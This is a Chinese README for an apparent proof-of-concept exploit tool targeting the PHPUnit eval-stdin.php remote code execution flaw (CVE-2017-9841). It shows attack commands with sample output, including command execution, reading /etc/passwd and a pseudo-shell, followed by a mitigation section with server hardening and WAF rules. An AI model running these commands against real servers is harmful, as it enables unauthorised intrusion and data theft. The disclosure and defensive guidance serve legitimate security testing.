
CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行(RCE)漏洞,影响 5.6.3 之前的版本以及 6.4.2 之前的 6.x 版本。
⚠️ 免责声明: 此工具仅用于教育目的和授权的安全测试。未经授权对您不拥有或未获明确许可的系统进行测试是非法的。作者对此工具的任何滥用不承担任何责任。
CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行 (RCE) 漏洞,影响版本低于 5.6.3 和 6.x 低于 6.4.2 的版本。
该漏洞存在于 src/Util/PHP/eval-stdin.php 中,该文件通过 eval() 函数执行从 php://input(POST 请求体)接收的 PHP 代码。如果该文件可公开访问(例如在未受保护的 vendor/ 目录中),攻击者无需认证即可在服务器上执行任意 PHP 代码。
| 字段 | 值 |
|---|
| CVE ID | CVE-2017-9841 |
| CVSS 评分 | 9.8(严重) |
| 受影响版本 | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| 类型 | 远程代码执行 (RCE) |
| 认证 | 不需要 |
| 攻击向量 | 网络(远程) |
| 发布日期 | 2017年6月27日 |
| 参考 | NVD |
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
该文件从 POST 请求体接收 PHP 代码并立即通过 eval() 执行,没有任何身份验证或验证。
requests 库pip install requests
git clone <仓库URL>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [选项]
-u 选项接受基础 URL(自动附加漏洞路径)或者直接指向 eval-stdin.php 的完整 URL。
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
输出:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# 单条命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# 多条命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# 读取文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# 将输出保存到文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
输出:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
输出:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
| 标志 | 描述 |
|---|---|
-u, --url URL | 目标基础 URL 或指向 eval-stdin.php 的完整 URL |
-c, --cmd CMD | 在目标服务器上执行的 CLI 命令 |
--check | 检查目标是否存在漏洞,不执行命令 |
--shell | 打开一个伪交互式 shell |
--info | 收集服务器信息(只读) |
--find-path | 扫描常见路径以定位 eval-stdin.php |
--path PATH | 指定到 eval-stdin.php 的自定义路径 |
--timeout N | 请求超时秒数(默认:30) |
-o, --output FILE | 将命令输出保存到文件 |
--php CODE | 执行原始 PHP 代码而非系统命令 |
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
在 vendor/ 目录内添加 .htaccess 文件:
# /path/to/project/vendor/.htaccess
Deny from all
或在 Apache VirtualHost 中配置:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
对于 Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini 或 VirtualHost 中
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# 或
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity 示例:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# 示例:GitHub Actions
- name: 仅安装生产依赖
run: composer install --no-dev --optimize-autoloader
- name: 移除测试文件和漏洞脚本
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ 攻击者 │
└──────────────┬───────────────┘
│ POST (PHP 代码)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache 服务器 │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ 任意代码执行 │ │
│ │ │ │
│ │ - 在服务器上读取/写入文件 │ │
│ │ - 访问数据库凭据 │ │
│ │ - 横向移动至内部网络 │ │
│ │ - 安装后门 / webshell │ │
│ │ - 权限提升 │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
以下条件会显著增加此漏洞的严重性和可利用性:
| 因素 | 影响 |
|---|---|
disable_functions 为空 | 所有 PHP 函数可用(system、exec 等) |
未设置 open_basedir | 攻击者可以在整个文件系统上读取/写入文件 |
高 max_execution_time | 攻击者每个请求有更多时间处理复杂载荷 |
| 加载了 FFI 扩展 | 允许直接调用 C 函数,绕过 PHP 限制 |
| 加载了数据库扩展 | 可直接连接数据库(mysqli、pgsql 等) |
| 未部署 WAF | 无请求过滤或阻止 |
| 未部署 IDS/IPS | 无异常检测或告警 |
| 生产环境中包含开发依赖 | 不必要地扩大了攻击面 |
此工具仅用于教育和授权的安全测试目的。